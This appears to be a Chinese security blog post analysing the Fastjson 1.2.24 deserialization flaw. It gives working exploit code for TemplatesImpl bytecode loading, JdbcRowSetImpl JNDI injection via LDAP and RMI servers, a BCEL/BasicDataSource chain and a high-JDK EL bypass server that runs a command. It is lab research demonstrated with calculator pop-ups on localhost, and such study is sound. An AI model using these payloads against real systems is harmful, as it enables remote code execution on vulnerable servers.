Java安全-Fastjson-1.2.24版本漏洞分析

Java安全-Fastjson-1.2.24版本漏洞分析

环境

  • jdk8u65
  • Maven 3.6.3
  • 1.2.22 <= Fastjson <= 1.2.24

pom导入一些依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子

前置知识

fastjson代码实现

虽然上一篇专门探讨过这些问题,但是还想在这里再次总结一下

我们传入一串json数据(其实就是字符串)

1
String jsonString =  "{\"age\":18,\"name\":\"aa\"}"

指定将这个字符串解析成一个java对象

1
User a = JSON.parseObject(jsonString,User.class);

之后就可以调用这个类的方法

1
System.out.println(a.getName);

fastjson中有一个特性

传入带有@type字段的字符串,指定了要将这串字符串解析成的类

1
String jsonString = "{\"@type\":\"com.sf.maven.fastjsondemo.User\",\"age\":18,\"name\":\"aa\"}";

反序列化一下

1
2
Object a = JSON.parseObject(jsonString);
System.out.println(a);

漏洞思路梳理

我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type 的。这里其实赋值就代表我们不需要通过反射来修改值,而是可以直接赋值。

@type 之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法。

所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方,

基于 TemplatesImpl 的利用链

分析

CC3 链开辟了 TemplatesImpl 加载字节码的先河,而它的漏洞点在于调用了 .newInstance() 方法。我们现在回去看这里,发现漏洞点的地方实际上是一个 getter 方法,如图

这里就意味着我们使用type指定类解析时是会触发到这个方法的

在构造EXP之前,先来分析一下要传的参数

根据这里的if条件可以判断:

_name 不可以为 null,需要 _class 为 null,这样进入到 defineTransletClasses 这个方法里面。所以 _class 可以不用写,或者写为 null。_tfactory 也不能为 null,这个在CC3分析过

_bytecodes 是恶意字节码。恶意字节码的类需要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "D:\\Test.class";

"

{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'exp',
'_tfactory':{ },

";

但是实际上使用这个payload是无法弹出计算器的

记得我们在fastjson基础篇分析过,getter方法的调用是有条件的

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类

向上寻找一下谁调用了getTransletInstance()

看着是 newTransformer() 方法调用了 getTransletInstance() 方法,但是无法了利用,因为它不是 setter/getter 方法,继续找

会找到一个 getOutputProperties方法,是可以让我们利用的getter方法,它的返回值Properties正是一个Map类型

大致的链子是这样

1
2
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,  
_indentNumber, _tfactory);

getOutputProperties是在获取outputProperties 变量的值调用的,我们先把它赋值为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "D:\\Test.class";

"

{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'exp',
'_tfactory':{ },
\"_outputProperties\":{ },

";

实现

在反序列化的时候的参数需要加上 Object.classFeature.SupportNonPublicField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.sf.maven.fastjsondemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class j {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String evilClassPath = "D:\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里多加了一步:

把本地的 Test.class 文件读入并 Base64 编码,构造成一个带 @type="...TemplatesImpl"_bytecodes 的 JSON

如果直接读取.class文件内容输入到字节流,得到的都是二进制编码

运行后顺利弹出计算器

基于 JdbcRowSetImpl 的利用链

  • 需要针对 jdk 版本
  • 有依赖限制
  • 需要出网(jndi必须外联)

简单来说就是 JNDI 注入的形式,也就是我们平常用的最多的攻击手段。

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。

我们找到JdbcRowSetImpl类中的connect方法存在一个lookup方法,可能存在JNDI注入

connect方法对this.getDataSourceName()进行了lookup

以下是getDataSourceName的代码,若我们可以控制dataSource,即可实现JNDI注入

虽然dataSource是一个私有属性,但是在本类中具有它public的setter方法,因此它是一个可控变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String getDataSourceName() {
return dataSource;
}

public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

接下来我们找connect方法的调用处,需要是一个getter或者是setter

我们找到了以下两种方法,而只有setAutoCommit方法是可以利用的

而getDatabaseMetaData不可利用的原因是

  1. 返回值为DatabaseMetaData,不为指定类型
  2. 遍历getter方法需要使用parseObject方法,若要调用getter,则在toJSON方法前不能出错

setAutoCommit方法

JNDI+LDAP

使用yakit的反连服务器功能

直接生成payload

EXP

1
2
3
4
5
6
7
8
9
10
11
package com.sf.maven.fastjsondemo;

import com.alibaba.fastjson.JSON;

// 基于 JdbcRowSetImpl 的利用链
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:7777/hRrOkkZK\", \"autoCommit\":false}";
JSON.parseObject(payload);
}
}

顺利弹出计算器

JNDI + RMI

这一条链子名为 JdbcRowSetImpl,这个是 JNDI 的 Reference 的攻击方式。

JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。

1
2
3
4
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

根据 JNDI 注入的漏洞利用,需要先起一个 Server

JNDIRmiServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.InitialContext;  
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer01 {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

用python在本地起一个服务器

1
python -m http.server 7777 --bind 127.0.0.1

EXP

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;  

// 基于 JdbcRowSetImpl 的利用链
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

顺利弹出计算器

当然使用刚刚那种使用工具生成payload也是可以弹出计算器的

基于BasicDataSource的不出网利用链

分析

在出网情况下可以远程加载恶意类,如果在目标不出网的情况下,只能通过本地类加载来利用

我们这里的核心是BCEL中的一个ClassLoaderloadclass,若这个类的开头命名满足$$BCEL$$,就会创建出一个类,并进行类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
......

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}

现在我们构造一个恶意类,用BCEL的ClassLoader进行类加载,并进行实例化,即可弹出计算器

这里使用encode的原因是在BCEL的ClassLoaderloadclass中,有一个方法createClass,其中对传入的参数进行了一次decode,因此我们需要手动encode一次才不会出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
}
......
return clazz;
}

所以我们BCEL代码应该是这样的,这里读取盘下的Evil.class文件,然后经过BCEL编码,再加上$ $ BCEL $ $ 去绕过我们前面的if判断使其解码,最后再借助classLoader.loadClass去加载我们的恶意代码。可能不知道我在说啥,我说白了就是,在不出网的环境中你主机无法去请求http的资源,那么我就把恶意代码转换成字节码传进去,通过调用里面的方法使其执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.sf.maven.fastjsondemo;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("D:\\Test.class");
String code = Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
}
public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}
}

继续寻找链子,看看如何调到loadClass方法

先导入一个依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

我们找到tomcat中的BasicDataSource类中的createConnectionFactory

driverClassLoader不为空,则使用该类加载器对driverClassName进行加载

这里涉及到类加载,就可能调用到loadClass方法

而正好这两个属性都有对应的setter方法,是可控的

继续向上找,发现能找到getConnection方法会调用到createConnectionFactory方法

所以这条利用链就是

1
2
3
ClassLoader#loadClass
BasicDataSource#createConnectionFactory
BasicDataSource#getConnection

梳理一下

这条链核心利用点就是,如果类名开头是$$BCEL$$就会类加载

1
2
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);

为了调用这个方法,我们找到了BasicDataSource类的createConnectionFactory方法,通过设置driverClassLoader和driverClassName的值达到加载我们构造好的恶意字节码的目的

createConnectionFactory方法可以被getConnection方法调用

就这样完成了我们的调用链

为什么要把字节码转换成bcel码写在driverClassName值里

来自于loadClass方法

1
2
3
4
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);

检查类名中是否包含 $$BCEL$$ 标记。

如果包含 $$BCEL$$,调用 createClass(class_name) 来生成 JavaClass(通常是把 BCEL 编码的字符串解码为类字节并构造 JavaClass)。

这一步是特殊处理:支持通过 $$BCEL$$ 直接注入/加载字节码的机制

$$BCEL$$ 机制允许通过类名携带编码后的字节码并被加载执行

实现

最后的EXP就是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("F:\\java\\RMI\\RMIServer\\target\\classes\\TestRef.class");
String code = Utility.encode(bytes,true);

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parse(s);
System.out.println(code);

}
public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}
}

Fastjson 攻击中 jdk 高版本的绕过

这里是针对基于 JdbcRowSetImpl 的利用链的 jdk 高版本绕过,绕过手段和之前是一样的,直接放 EXP 了

这个就是绕过jndi不能加载引用对象的限制

JNDIBypassHighJavaServerEL.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端,用 bind 的方式
public class JNDIBypassHighJavaServerEL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);

// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);

// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));

// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

我们的 EXP 不变。

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  

public class HighJdkBypass {
public static void main(String[] args) {
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

Java安全-Fastjson-1.2.24版本漏洞分析
http://huang-d1.github.io/2025/10/02/Java安全-Fastjson-1.2.24版本漏洞分析/
作者
huangdi
发布于
2025年10月2日
许可协议